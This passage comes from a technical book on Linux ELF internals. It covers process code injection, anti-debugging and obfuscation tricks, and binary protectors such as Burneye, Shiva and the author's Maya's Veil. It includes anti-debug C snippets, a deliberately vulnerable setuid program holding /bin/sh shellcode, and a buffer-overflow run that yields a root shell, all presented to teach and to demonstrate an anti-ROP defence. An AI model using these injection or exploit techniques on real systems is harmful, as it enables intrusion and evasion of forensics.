        void *handle;        handle = libc_dlopen_mode(path,  
        __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
        __RETURN_VALUE__(handle);
        __BREAKPOINT__;
}

It is very much worth noting that dlopen() will load PIE executables too. This 
means that you can inject a complete program into a process and run it. In fact, you 
can run as many programs as you want in a single process. This is an incredible 
anti-forensics technique, and when using thread injection, you can run them all 
concurrently so that they execute at the same time. Saruman is a PoC software that 
I designed to do this. It uses two possible methods of injection: the open()/mmap() 
method with manual relocations or the __libc_dlopen_mode() method. This is 
available on my site at http://www.bitlackeys.org/#saruman.

.so injection with VDSO manipulation
This is a technique that I discussed in my paper at http://vxheaven.org/lib/
vrn00.html. The idea is to manipulate the virtual dynamic shared object (VDSO), 
which is mapped into every process address space in Linux since kernel version 
2.6.x. The VDSO contains code to speed up system calls, and they can be invoked 
directly from the VDSO. The trick is to locate the code that invokes syscalls by using 
PTRACE_SYSCALL, which will break once it lands on this code. The attacker can then 
load %eax/%rax with the desired syscall number and store the arguments in the 
other registers, following the proper calling convention for Linux x86 system calls. 
This is surprisingly easy and can be used to call the open()/mmap() method without 
having to inject any shellcode. This can be useful for bypassing PaX, which prevents 
a user from injecting code into the text segment. I recommend reading my paper for 
a complete dissertation on the technique.

http://www.bitlackeys.org/#saruman
http://vxheaven.org/lib/vrn00.html
http://vxheaven.org/lib/vrn00.html
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Text segment code injections
This is a simple technique and is not very useful for anything other than injecting 
shellcode, which should then quickly be replaced with the original code once the 
shellcode has finished executing. Another reason you would want to directly modify 
the text segment is to create function trampolines, which we discussed earlier in  
this chapter, or to directly modify the .plt code. As far as code injection goes, 
though, it is preferable to load code into the process or create a new memory 
mapping where code can be stored: otherwise, the text segment could easily be 
detected as being modified.

Executable injections
As mentioned previously, dlopen() is capable of loading PIE executables into a 
process, and I even included a link to Saruman, which is the crafty software that 
allows you to run programs within existing processes for anti-forensics measures. 
But what about injecting ET_EXEC type executables? This type of executable does 
not provide any relocation information except for dynamic-linking R_X86_64_
JUMP_SLOT/R_386_JUMP_SLOT relocation types. This means that injecting a regular 
executable into an existing process is ultimately going to be unreliable, especially 
when injecting more complex programs. Nevertheless, I created a PoC of this 
technique called elfdemon, which maps the executable to some new mappings that 
don't conflict with the host process executable mappings. It then hijacks control 
(unlike Saruman, which allows concurrent execution) and passes control back to the 
host process once it is done running. An example of this can be found at http://
www.bitlackeys.org/projects/elfdemon.tgz.

Relocatable code injection – the ET_REL 
injection
This method is very similar to shared library injection but is not compatible with 
dlopen(). ET_REL (.o files) are relocatable code, much like ET_DYN (.so files), but 
they are not meant to be executed as single files; they are meant to link into either 
an executable or a shared library, as discussed in Chapter 2, The ELF Binary Format. 
This, however, doesn't mean that we can't inject them, relocate them, and execute 
their code. This can be done by using any of the techniques described earlier except 
dlopen(). So, open/mmap is sufficient but requires that you manually handle the 
relocations, which can be done using ptrace. In Chapter 2, The ELF Binary Format, we 
gave an example of the relocation code in the software that I designed, called Quenya. 
This demonstrates how to handle relocations in an object file when injecting it into an 
executable. The same principles can be used when injecting one into a process.

http://www.bitlackeys.org/projects/elfdemon.tgz
http://www.bitlackeys.org/projects/elfdemon.tgz
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ELF anti-debugging and packing 
techniques
In the next chapter, Breaking ELF Software Protection, we will discuss the ins and outs 
of software encryption and packing with ELF executables. Viruses and malware 
are very commonly encrypted or packed with some type of protection mechanism, 
which can also include anti-debugging techniques to make analyzing the binary very 
difficult. Without giving a complete exegesis on the subject, here are some common 
anti-debugging measures taken by ELF binary protectors that are commonly used  
to wrap around malware.

The PTRACE_TRACEME technique
This technique takes advantage of the fact that a program can only be traced by one 
process at a time. Almost all debuggers use ptrace, including GDB. The idea is that 
a program can trace itself so that no other debugger can attach.

Illustration 4.9 – an anti-debug with  
PTRACE_TRACEME example

void anti_debug_check(void)
{
  if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) {
    printf("A debugger is attached, but not for long!\n");
    kill(getpid());
    exit(0);
  }
}

The function in Illustration 4.9 will kill the program (itself) if one is attached with a 
debugger; it will know because it will fail to trace itself. Otherwise, it will succeed  
in tracing itself, and no other tracers will be allowed, preventing debuggers.

The SIGTRAP handler technique
While debugging, we often set breakpoints, and when a breakpoint is hit, it generates 
a SIGTRAP signal, which is caught by our debugger's signal handler; the program 
halts and we can inspect it. With this technique, the program sets up a signal handler 
to catch SIGTRAP signals and then deliberately issues a breakpoint instruction. 
When the program's SIGTRAP handler catches it, it will increment a global variable 
from 0 to 1. 
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The program can then check to see whether the global variable is set to 1, if it is, that 
means that our program caught the breakpoint and there is no debugger present; 
otherwise, if it is 0, it must have been caught by a debugger. At this point, the 
program can choose to kill itself or exit in order to prevent debugging:

static int caught = 0;
int sighandle(int sig)
{
     caught++;
}
int detect_debugger(void)
{
    __asm__ volatile("int3");
    if (!caught) {
        printf("There is a debugger attached!\n");
        return 1;
    }
}

The /proc/self/status technique
This dynamic file exists for every process and includes a lot of information, including 
whether or not the process is currently being traced.

An example of the layout of /proc/self/status, which can be parsed to detect 
tracers/debuggers, is as follows:

ryan@elfmaster:~$ head /proc/self/status

Name:  head

State:  R (running)

Tgid:  19813

Ngid:  0

Pid:  19813

PPid:  17364

TracerPid:  0

Uid:  1000  1000  1000  1000

Gid:  31337  31337  31337  31337

FDSize:  256
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As highlighted in the preceding output, tracerPid: 0 means that the process is not 
being traced. All that a program must do to see whether it is being traced is to open  
/proc/self/status and check whether or not the value is 0. If not, then it knows  
it is being traced and it can kill itself or exit.

The code obfuscation technique
Code obfuscation (also known as code transformation) is a technique where 
assembly-level code is modified to include opaque branch instructions or misaligned 
instructions that throw off the disassembler's ability to read the bytecode correctly. 
Consider the following example:

jmp antidebug + 1
antidebug:
.short 0xe9 ;first byte of a jmp instruction
mov $0x31337, %eax

When the preceding code is compiled and viewed with the objdump disassembler,  
it looks like this:

   4:   eb 01                   jmp    7 <antidebug+0x1>
   <antidebug:>
   6:   e9 00 b8 37 13          jmpq   1337b80b
   b:   03 00                 add    (%rax),%eax

The code is actually doing a mov $0x31337, %eax operation, and functionally, 
it performs that correctly, but because there was a single 0xe9 before that, the 
disassembler perceived it as a jmp instruction (since 0xe9 is the prefix for a jmp).

So, code transformation doesn't change the way the code functions, only how it 
looks. A smart disassembler such as IDA wouldn't be fooled by the preceding code 
snippet, because it uses control flow analysis when generating the disassembly.

The string table transformation technique
This is a technique that I conceived in 2008 and have not seen used widely, but I 
would be surprised if it hasn't been used somewhere. The idea behind this uses the 
knowledge we have gained about the ELF string tables for symbol names and section 
headers. Tools such as objdump and gdb (often used in reverse engineering) rely on 
the string table to learn the names of functions and sections within an ELF file. This 
technique scrambles the order of the name of each symbol and section. The result is 
that section headers will be all mixed up (or appear to be) and so will the names of 
functions and symbols. 
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This technique can be very misleading to a reverse engineer; for instance, they 
might think they are looking at a function called check_serial_number(), when 
really they are looking at safe_strcpy(). I have implemented this in a tool called 
elfscure, available at http://www.bitlackeys.org/projects/elfscure.c.

ELF virus detection and disinfection
Detecting viruses can be very complicated, let alone disinfecting them. Our modern 
day AV software is actually quite a joke and is very ineffective. Standard AV 
software uses scan strings, which are signatures, to detect a virus. In other words, 
if a known virus always had the string h4h4.infect.1+ at a given offset within the 
binary, then the AV software would see that it is present in its database and flag 
it as infected. This is very ineffective in the long run, especially since viruses are 
constantly mutating into new strains.

Some AV products are known to use emulation for dynamic analysis that can feed 
the heuristics analyzer with information about an executable's conduct during 
runtime. Dynamic analysis can be powerful, but it is known to be slow. Some 
breakthroughs in dynamic malware unpacking and classification have been made 
by Silvio Cesare, but I am not certain whether this technology is being used in the 
mainstream.

Currently, there exists a very limited amount of software for detecting and 
disinfecting ELF binary infections. This is probably because a more mainstream 
market doesn't exist and because a lot of these attacks are somehow still so 
underground. There is no doubt, though, that hackers are using these techniques 
to hide backdoors and maintain a stealthy residence on compromised systems. 
Currently, I am working on a project called Arcana, which can detect and disinfect 
many types of ELF binary infections, including executables, shared libraries, and 
kernel drivers, and it is also capable of using ECFS snapshots (described in Chapter 8,  
ECFS – Extended Core File Snapshot Technology) which greatly improves process-
memory forensics. In the meantime, you can read about or download one of the 
following projects, which are prototypes I designed years ago:

• VMA Voodoo (http://www.bitlackeys.org/#vmavudu)
• AVU (Anti Virus Unix) at http://www.bitlackeys.org/projects/avu32.

tgz

http://www.bitlackeys.org/projects/elfscure.c
http://www.bitlackeys.org/#vmavudu
http://www.bitlackeys.org/projects/avu32.tgz
http://www.bitlackeys.org/projects/avu32.tgz


ELF Virus Technology – Linux/Unix Viruses

[ 120 ]

Most viruses in a Unix environment are implanted after a system compromise and 
used to maintain residency on the system by logging useful information (such as 
usernames/passwords) or by hooking daemons with backdoors. The software that 
I have designed in this area is most likely to be used as host intrusion detection 
software or for automated forensics analysis of binaries and process memory. Keep 
following the http://bitlackeys.org/ site to see any updates pertaining to the 
release of Arcana, my latest ELF binary analysis software, which is going to be the 
first real production software that is equipped for complete analysis and disinfection 
of ELF binary infections.

I have decided not to write an entire section in this chapter on heuristics and the 
detection of viruses, because we will be discussing most of these techniques in 
Chapter 6, ELF Binary Forensics in Linux, where will examine the methods and 
heuristics used in detecting binary infections.

Summary
In this chapter, we covered the "need-to-know" information about virus engineering 
for ELF binaries. This knowledge is not common, and therefore this chapter 
hopefully serves as a unique introduction to this arcane art of viruses in the 
underground world of computer science. At this point, you should understand the 
most common techniques for virus infection, anti-debugging, and the challenges that 
are associated with both creating and analysing viruses for ELF. This knowledge 
comes to great use in the event of reverse engineering a virus or performing malware 
analysis. It is worth noting that many great papers can be found on http://
vxheaven.org to help further your insights into Unix virus technology. 

http://bitlackeys.org/
http://vxheaven.org
http://vxheaven.org
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Linux Binary Protection
In this chapter, we are going to explore the basic techniques and motivations for 
obfuscation of Linux programs. Techniques that obfuscate or encrypt binaries or 
make them difficult to tamper with are called software protection schemes. By 
"software protection," we mean binary protection or binary hardening techniques. 
Binary hardening is not exclusive to Linux; in fact, there are many more products for 
the Windows OS in this technology genre, and there are definitely more examples to 
choose from for discussion.

What many people fail to realize is that Linux has a market for this too, although 
it largely exists for anti-tamper products used by the government. There are also 
a number of ELF binary protectors that were released over the last decade in the 
hacker community, several of which paved the way for many of the technologies 
used today.

An entire book could be dedicated to the art of software protection, and as the author 
of some of the more recent binary protection technologies for ELF, I could easily get 
carried away with this chapter. Instead, I will stick to explaining the fundamentals 
and some interesting techniques that are used, followed by some insights into my 
own binary protector—Maya's Veil. The tricky engineering and skills that go into 
binary protection make it a challenging topic to articulate, but I will do my best here.

ELF binary packers – dumb protectors
A packer is a type of software that is commonly used by malware authors and 
hackers to compress or encrypt an executable in order to obfuscate its code and data. 
One very common packer is named UPX (http://upx.sourceforge.net) and is 
available as a package on most Linux distributions. The original purpose of this  
type of packer was to compress an executable and make it smaller.

http://upx.sourceforge.net
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Since the code is compressed, it must have a way to decompress itself before 
executing in memory—this is where things get interesting, and we will discuss how 
this works in the Stub mechanics and the userland exec section. At any rate, malware 
authors have realized that compressing their malware-infected files would evade 
AV detection due to obfuscation. This led malware/antivirus researchers to develop 
automated unpackers, which are now used in most, if not all, modern AV products.

Nowadays, the term "packed binary" refers not only to compressed binaries but also 
to encrypted binaries or binaries that are shielded with an obfuscation layer of any 
kind. Since the early 2000s, there have been several remarkable ELF binary protectors 
that have shaped the future of binary protection in Linux. We will explore each one 
of these and use them to model the different techniques used to protect ELF binaries. 
Beforehand, however, let's look at how stubs work to load and execute a compressed 
or encrypted binary.

Stub mechanics and the userland exec
First, it is necessary to understand that a software protector is actually made up of 
two programs:

• Protection phase code: The program that applies the protection to the  
target binary

• Runtime engine or stub: The program that is merged with the target binary 
that is responsible for deobfuscation and anti-debugging at runtime

The protector program can vary greatly depending on the types of protection that 
are being applied to the target binary. Whatever type of protection is being applied 
to the target binary must be understood by the runtime code. The runtime code (or 
stub) must know how to decrypt or deobfuscate the binary that it is merged with. In 
most cases of software protection, there is a relatively simple runtime engine merged 
with the protected binary; its sole purpose is to decrypt the binary and pass control 
to the decrypted binary in memory.

This type of runtime engine is not so much an engine—really—and we call it a 
stub. The stub is generally compiled without any libc linkings (for example, gcc 
-nostdlib), or is statically compiled. This type of stub, although simpler than a true 
runtime engine, is actually still quite complicated because it must be able to exec() a 
program from memory—this is where userland exec comes into play. We can thank 
the grugq for his contributions here.
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The SYS_execve system call, which is generally used by the glibc wrappers (for 
example, execve, execv, execle, and execl) will load and run an executable file. In 
the case of a software protector, the executable is encrypted and must be decrypted 
prior to being executed. Only an unseasoned hacker would program their stub to 
decrypt the executable and then write it to disk in a decrypted form before they 
execute it with SYS_exec, although the original UPX packer did work this way.

The skilled way of accomplishing this is by decrypting the executable in place (in 
memory), and then loading and executing it from the memory—not a file. This can 
be done from the userland code, and therefore we call this technique userland exec. 
Many software protectors implement a stub that does this. One of the challenges 
in implementing a stub userland exec is that it must load the segments into their 
designated address range, which would typically be the same addresses that are 
designated for the stub executable itself.

This is only a problem for ET_EXEC-type executables (since they are not position 
independent), and it is generally overcome by using a custom linker script that 
tells the stub executable segments to load at an address other than the default. An 
example of such a linker script is shown in the section on linker scripts in Chapter 1, 
The Linux Environment and Its Tools.

On x86_32, the default base is 0x8048000, and on x86_64, it is 0x400000. 
The stub should have load addresses that do not conflict with the default 
address range. For example, a recent one that I wrote is linked such that 
the text segment is loaded at 0xa000000.

AFTER MAYA LAYER 1

ELF Header

Program Headers

TEXT

DATA

ELF Header

DATA

ENCRYPTED TEXT

Program Headers

Runtime Engine

BEFORE MAYA LAYER 1

Illustration 5.1: A model of a binary protector stub
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Illustration 5.1 shows visually how the encrypted executable is embedded within the 
data segment of the stub executable, wrapped within it, which is why stubs are also 
referred to as wrappers.

We will show in Identifying protected binarires section  in Chapter 6, ELF 
Binary Forensics in Linux how peeling a wrapper off can actually be a 
trivial task in many cases, and how it may also be an automated task with 
the use of software or scripts.

A typical stub performs the following tasks:

• Decrypting its payload (which is the original executable)
• Mapping the executable's loadable segments into the memory
• Mapping the dynamic linker into the memory
• Creating a stack (that is with mmap)
• Setting the stack up (argv, envp, and the auxiliary vector)
• Passing control to the entry point of the program

If the protected program was dynamically linked, then the control will be 
passed to the entry point of the dynamic linker, which will subsequently 
pass it to the executable.

A stub of this nature is essentially just a userland exec implementation that loads 
and executes the program embedded within its own program body, instead of an 
executable that is a separate file.

The original userland exec research and algorithm can be found in the 
grugq's paper titled The Design and Implementation of Userland Exec at 
https://grugq.github.io/docs/ul_exec.txt.

An example of a protector
Let's take a look at an executable before and after it is protected by a simple protector 
that I wrote. Using readelf to view the program headers, we can see that the binary 
has all the segments that we would expect to see in a dynamically linked Linux 
executable:

$ readelf -l test

Elf file type is EXEC (Executable file)

Entry point 0x400520

https://grugq.github.io/docs/ul_exec.txt
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There are 9 program headers, starting at offset 64

Program Headers:

  Type           Offset             VirtAddr           PhysAddr

                 FileSiz            MemSiz              Flags  Align

  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040

                 0x00000000000001f8 0x00000000000001f8  R E    8

  INTERP         0x0000000000000238 0x0000000000400238 0x0000000000400238

                 0x000000000000001c 0x000000000000001c  R      1

      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]

  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000

                 0x00000000000008e4 0x00000000000008e4  R E    200000

  LOAD           0x0000000000000e10 0x0000000000600e10 0x0000000000600e10

                 0x0000000000000248 0x0000000000000250  RW     200000

  DYNAMIC        0x0000000000000e28 0x0000000000600e28 0x0000000000600e28

                 0x00000000000001d0 0x00000000000001d0  RW     8

  NOTE           0x0000000000000254 0x0000000000400254 0x0000000000400254

                 0x0000000000000044 0x0000000000000044  R      4

  GNU_EH_FRAME   0x0000000000000744 0x0000000000400744 0x0000000000400744

                 0x000000000000004c 0x000000000000004c  R      4

  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000

                 0x0000000000000000 0x0000000000000000  RW     10

  GNU_RELRO      0x0000000000000e10 0x0000000000600e10 0x0000000000600e10

                 0x00000000000001f0 0x00000000000001f0  R      1

Now, let's run our protector program on the binary and view the program headers 
afterwards:

$ ./elfpack test

$ readelf -l test

Elf file type is EXEC (Executable file)

Entry point 0xa01136

There are 5 program headers, starting at offset 64

Program Headers:

  Type           Offset             VirtAddr           PhysAddr

                 FileSiz            MemSiz              Flags  Align

  LOAD           0x0000000000000000 0x0000000000a00000 0x0000000000a00000

                 0x0000000000002470 0x0000000000002470  R E    1000

  LOAD           0x0000000000003000 0x0000000000c03000 0x0000000000c03000

                 0x000000000003a23f 0x000000000003b4df  RW     1000
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There are many differences that you will note. The entry point is 0xa01136, and 
there are only two loadable segments, which are the text and data segments. Both  
of these are at completely different load addresses than before.

This is of course because the load addresses of the stub cannot conflict with the load 
address of the encrypted executable contained within it, which must be loaded and 
memory-mapped to. The original executable has a text segment address of 0x400000. 
The stub is responsible for decrypting the executable embedded within and then 
mapping it to the load addresses specified in the PT_LOAD program headers.

If the addresses conflict with the stub's load addresses, then it will not work. This 
means that the stub program has to be compiled using a custom linker script. The 
way this is commonly done is by modifying the existing linker script that is used by 
ld. For the protector used in this example, I modified a line in the linker script:

• This is the original line:
PROVIDE (__executable_start = SEGMENT_START("text-segment", 
0x400000)); . = SEGMENT_START("text-segment", 0x400000) +  
SIZEOF_HEADERS;

• The following is the modified line:

PROVIDE (__executable_start = SEGMENT_START("text-segment", 
0xa00000)); . = SEGMENT_START("text-segment", 0xa00000) +  
SIZEOF_HEADERS;

Another thing that you can notice from the program headers in the protected 
executable is that there is no PT_INTERP segment or PT_DYNAMIC segment. This 
would appear to the untrained eye as a statically linked executable, since it does not 
appear to use dynamic linking. This is because you are not viewing the program 
headers of the original executable.

Remember that the original executable is encrypted and embedded within 
the stub executable, so you are really viewing the program headers from 
the stub and not from the executable that it is protecting. In many cases, 
the stub itself is compiled and linked with very minimal options and does 
not require dynamic linking itself. One of the primary characteristics of 
a good userland exec implementation is the ability to load the dynamic 
linker into memory.

As I mentioned, the stub is a userland exec, and it will map the dynamic linker to the 
memory after it decrypts and maps the embedded executable to the memory. The 
dynamic linker will then handle symbol resolution and runtime relocations before  
it passes control to the now-decrypted program.
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Other jobs performed by protector stubs
In addition to decrypting and loading the embedded executable into memory, which 
is the userland exec component, the stub may also perform other tasks. It is common 
for the stub to start anti-debugging and anti-emulation routines that are meant to 
further protect the binary from being debugged or emulated in order to raise the bar 
even further so that reverse engineering is even more difficult.

In Chapter 4, ELF Virus Technology – Linux/Unix Viruses, we discussed some anti-
debugging techniques used to prevent debugging based on ptrace. This prevents 
most debuggers, including GDB, from trivially tracing the binary. Later in this 
chapter, we will summarize the most common anti-debugging techniques used  
in binary protection for Linux.

Existing ELF binary protectors
Over the years, there have been a few noteworthy binary protectors that were 
released both publicly and from the underground scene. I will discuss some of  
the protectors for Linux and give a synopsis of the various features.

DacryFile by the Grugq – 2001
DacryFile is the earliest binary protector that I am aware of for Linux (https://
github.com/packz/binary-encryption/tree/master/binary-encryption/
dacryfile). This protector is simple but nonetheless clever and works very similarly 
to ELF parasite infection from a virus. In many protectors, the stub wraps around the 
encrypted binary, but in the case of DacryFile, the stub is just a simple decryption 
routine that is injected into the binary that is to be protected.

DacryFile encrypts a binary from the beginning of the .text section to the end of 
the text segment using RC4 encryption. The decryption stub is a simple program 
written in asm and C, and it does not have the userland exec functionality; it simply 
decrypts the encrypted body of code. This stub is inserted at the end of the data 
segment, which is very reminiscent of how a virus inserts a parasite. The entry point 
of the executable is modified to point to the stub, and upon execution of the binary, 
the stub decrypts the text segment of the program. Then it passes the control to the 
original entry point.

On systems that support NX bit, the data segment cannot be used to hold 
code unless it is explicitly marked with executable permission bits, that is, 
'p_flags |= PF_X'.

https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile
https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile
https://github.com/packz/binary-encryption/tree/master/binary-encryption/dacryfile
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Burneye by Scut – 2002
Burneye is said by many to have been the first example of decent binary encryption 
in Linux. By today's standards, it would be considered weak, but it nevertheless 
brought some innovative features to the table. This includes three layers of 
encryption, the third of which is a password-protected layer.

The password is converted into a type of hash-sum and then used to decrypt the 
outermost layer. This means that unless the binary is given the correct password, it 
will never decrypt. Another layer, called a fingerprint layer, can be used instead of 
the password layer. This feature creates a key out of an algorithm that fingerprints 
the system that the binary was protected on, and prevents the binary from being 
decrypted on any other system but the one it was protected on.

There was also a self-destruct feature; it deletes the binary after it is run once. One 
of the primary things that separated Burneye from other protectors was that it was 
the first to use the userland exec technique to wrap binaries. Technically, this was 
first done by John Resier for the UPX packer, but UPX is considered more of a binary 
compressor than a protector. John allegedly passed on the knowledge of userland 
exec to Scut, as mentioned in the Phrack 58 article written by Scut and Grugq on 
ELF binary protection at http://phrack.org/issues/58/5.html. This article 
documents the inner workings of Burneye and is highly recommended for reading.

A tool named objobf, which stands for object obfuscator, was also 
designed by Scut. This tool obfuscates an ELF32 ET_REL (object file) so 
that the code is very difficult to disassemble but is functionally equivalent. 
With the use of techniques such as opaque branches and misaligned 
assembly, this can be quite effective in deterring static analysis.

Shiva by Neil Mehta and Shawn  
Clowes – 2003
Shiva was probably the best publicly available example of Linux binary protection. 
The source code was never released—only the protector was—but several 
presentations were delivered at various conferences, such as Blackhat USA,  
by the authors. These revealed many of its techniques.

Shiva works for 32-bit ELF executables and provides a complete runtime engine 
(not just a decryption stub) that assists decryption and anti-debugging features 
throughout the duration of the process that it is protecting. Shiva provides three 
layers of encryption, where the innermost layer never fully decrypts the entire 
executable. It decrypts 1,024-byte blocks at a time and then re-encrypts.

http://phrack.org/issues/58/5.html
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For a sufficiently large program, no more than 1/3rd of the program will be decrypted 
at any given time. Another powerful feature is the inherent anti-debugging—the 
Shiva protector uses a technique wherein the runtime engine spawns a thread using 
clone(), which then traces the parent, while the parent conversely traces the thread. 
This makes using dynamic analysis based on ptrace impossible, since a single process 
(or thread) may not have more than a single tracer. Also, since both processes are being 
traced by each other, no other debugger can attach.

A renowned reverse engineer named Chris Eagle successfully unpacked 
a Shiva-protected binary using an x86 emulator plugin for IDA and gave 
a presentation on this feat at Blackhat. This reverse engineering of Shiva 
was said to have been accomplished within a 3-week period.

• Presentation by the authors:

https://www.blackhat.com/presentations/bh-usa-03/
bh-us-03-mehta/bh-us-03-mehta.pdf

• Presentation by Chris Eagle (who broke Shiva):

http://www.blackhat.com/presentations/bh-
federal-03/bh-federal-03-eagle/bh-fed-03-eagle.
pdf

Maya's Veil by Ryan O'Neill – 2014
Maya's Veil was designed by me in 2014 and is for ELF64 binaries. To this day, the 
protector is in a prototype stage and has not been released publicly, but there are 
some forked versions that have transpired into variations of the Maya project. One 
of them is https://github.com/elfmaster/, which is a version of Maya that 
incorporates only anti-exploitation technologies, such as control flow integrity. As 
the originator and designer of the Maya protector, I am at liberty to elaborate on 
some of the details of its inner workings, primarily for reasons of sparking interest 
and creativity in readers who are interested in this type of thing. In addition to being 
the author of this book, I am also quite approachable as a person, so feel free to 
contact me if you have more questions about Maya's Veil.

Firstly, this protector was designed as a userland-only solution (which means no 
assistance from clever kernel modules) while still being able to protect a binary  
with sufficient anti-tamper qualities and—even more impressively—additional  
anti-exploitation features. Many of the capabilities that Maya possesses have so 
far been seen only with compiler plugins, whereas Maya operates directly on the 
already compiled executable binary.

https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf
https://www.blackhat.com/presentations/bh-usa-03/bh-us-03-mehta/bh-us-03-mehta.pdf
http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf
http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf
http://www.blackhat.com/presentations/bh-federal-03/bh-federal-03-eagle/bh-fed-03-eagle.pdf
https://github.com/elfmaster/fast-cflow
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Maya is extremely complicated, and documenting all of its inner workings would be 
a complete exegesis on the subject of binary protection, but I will summarize some of 
its most important qualities. Maya can be used to create a layer 1, layer 2, or layer 3 
protected binary. At the first layer, it uses an intelligent runtime engine; this engine 
is compiled as an object file named runtime.o.

This file is injected using a reverse text-padding extension (Refer to Chapter 4, ELF 
Virus Technology – Linux/Unix Viruses), combined with relocatable code injection 
relinking techniques. Essentially, the object file for the runtime engine is linked to 
the executable that it is protecting. This object file is very important as it contains the 
code for anti-debugging, anti-exploitation, custom malloc with an encrypted heap, 
metadata about the binary that it is protecting, and so on. This object file was written 
in about 90% C and 10% x86 assembly.

Maya's protection layers
Maya has multiple layers of protection and encryption. Each additional layer 
enhances the level of security by adding more work for an attacker to peel off. The 
outermost layers are the most useful for preventing static analysis, whereas the 
innermost layer (layer 1) only decrypts the functions within the present call stack 
and re-encrypts them when done. The following is a more detailed explanation of 
each layer.

Layer 1
A layer 1 protected binary consists of every single function of the binary individually 
encrypted. Every function decrypts and re-encrypts on the fly, as they are called and 
returned. This works because runtime.o contains an intelligent and autonomous 
self-debugging capability that allows it to closely monitor the execution of a process 
and determine when it is being attacked or analyzed.

The runtime engine itself has been obfuscated using code obfuscation techniques, 
such as those found on Scut's object obfuscator tool. The key storage and metadata 
for the decrypting and re-encrypting functions are stored in a custom malloc() 
implementation that uses an encrypted heap spawned by the runtime engine. This 
makes locating the keys difficult. Layer 1 protection is the first and most complex 
level of protection due to the fact that it instruments the binary with an intelligent 
and autonomous self-tracing capability for dynamic decryption, anti-debugging,  
and anti-exploitation abilities.
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Model describing how the stub relates
to the encrypted executable Protected binary

Encrypted original binary

ELF HEADER

TEXT SEGMENT

DATA SEGMENT

ELF HEADER

TEXT SEGMENT

DATA SEGMENT

Original binary

STUB ELF HEADER

STUB TEXT SEGMENT

STUB DATA SEGMENT

An over-simplified diagram showing how a layer 1 protected binary is laid out next to the original binary

Layer 2
A layer 2 protected binary is the same as a level 1 protected binary, except that not 
only the functions but also every other section in the binary is encrypted to prevent 
static analysis. These sections are decrypted at runtime, leaving certain data exposed 
if someone is able to dump the process, which would have to be done through a 
memory driver because prctl() is used to protect the process from normal userland 
dumps through /proc/$pid/mem (and also stops the process from dumping any  
core files).

Layer 3
A layer 3 protected binary is the same as level 2, except that it adds one more 
complete layer of protection by embedding the layer 2 binary into the data segment 
of the layer 3 stub. The layer 3 stub works like a traditional userland exec.

Maya's nanomites
Maya's Veil has many other features that make it difficult to reverse-engineer. One 
such feature is called nanomites. This is where certain instructions in the original 
binary are completely removed and replaced with junk instructions or breakpoints.
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When Maya's runtime engine sees one of these junk instructions or breakpoints, 
it checks its nanomite records to see what the original instruction was that existed 
there. The records are stored in the encrypted heap segment of the runtime engine, 
so accessing this information is non-trivial for a reverse engineer. Once Maya knows 
what the original instruction did, it emulates the instruction using the ptrace  
system call.

Maya's anti-exploitation
The anti-exploitation features of Maya are what make it unique compared to other 
protectors. Whereas most protectors aim only to make reverse engineering difficult, 
Maya is able to strengthen a binary so that many of its inherent vulnerabilities (such 
as a buffer overflow) cannot be exploited. Specifically, Maya prevents ROP (short for 
Return-Oriented Programming) by instrumenting the binary with special control 
flow integrity technology that is embedded in the runtime engine.

Every function in a protected binary is instrumented with a breakpoint (int3) at the 
entry point and at every return instruction. The int3 breakpoint delivers a SIGTRAP 
that triggers the runtime engine; the runtime engine then does one of several things:

• Decrypting the function (only if it hits the entry int3 breakpoint)
• Encrypting the function (only if it hits the return int3 breakpoint)
• Checking whether the return address has been overwritten
• Checking whether the int3 breakpoint is a nanomite; if so, it will emulate

The third bullet is the anti-ROP feature. The runtime engine checks a hash map that 
contains valid return addresses for various points within the program. If the return 
address is invalid, then Maya will bail out and the exploitation attempt will fail.

The following is an example of a vulnerable piece of software code that was specially 
crafted to test and show off Maya's anti-ROP feature:

Source code of vuln.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>

/*
 * This shellcode does execve("/bin/sh", …)
 /
char shellcode[] =  
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"\xeb\x1d\x5b\x31\xc0\x67\x89\x43\x07\x67\x89\x5b\x08\x67\x89\x43\"
"x0c\x31\xc0\xb0\x0b\x67\x8d\x4b\x08\x67\x8d\x53\x0c\xcd\x80\xe8"
"\xde\xff"\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4e\x41\x41\x41\x41"
"\x42\x42";

/*
 * This function is vulnerable to a buffer overflow. Our goal is  
 to
 * overwrite the return address with 0x41414141 which is the  
 addresses
 * that we mmap() and store our shellcode in.
 */
int vuln(char *s)
{
        char buf[32];
        int i;
        
        for (i = 0; i < strlen(s); i++) {
                buf[i] = *s;
                s++;
        }
}

int main(int argc, char **argv)
{
        if (argc < 2)
        {
                printf("Please supply a string\n");
                exit(0);
        }
        int i;
        char *mem = mmap((void *)(0x41414141 & ~4095),
                                 4096,
                                 PROT_READ|PROT_WRITE|PROT_EXEC,
                                 MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED,
                                -1,
                                 0);

        memcpy((char *)(mem + 0x141), (void *)&shellcode, 46);
        vuln(argv[1]);
        exit(0);

}
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Example of exploiting vuln.c
Let's take a look at how we can exploit vuln.c:

$ gcc -fno-stack-protector vuln.c -o vuln

$ sudo chmod u+s vuln

$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

# whoami

root

#

Now let's protect vuln using the -c option of Maya, which means control flow 
integrity. Then we will try to exploit the protected binary:

 $ ./maya -l2 -cse vuln

[MODE] Layer 2: Anti-debugging/anti-code-injection, runtime function 
level protection, and outter layer of encryption on code/data

[MODE] CFLOW ROP protection, and anti-exploitation

[+] Extracting information for RO Relocations

[+] Generating control flow data

[+] Function level decryption layer knowledge information:

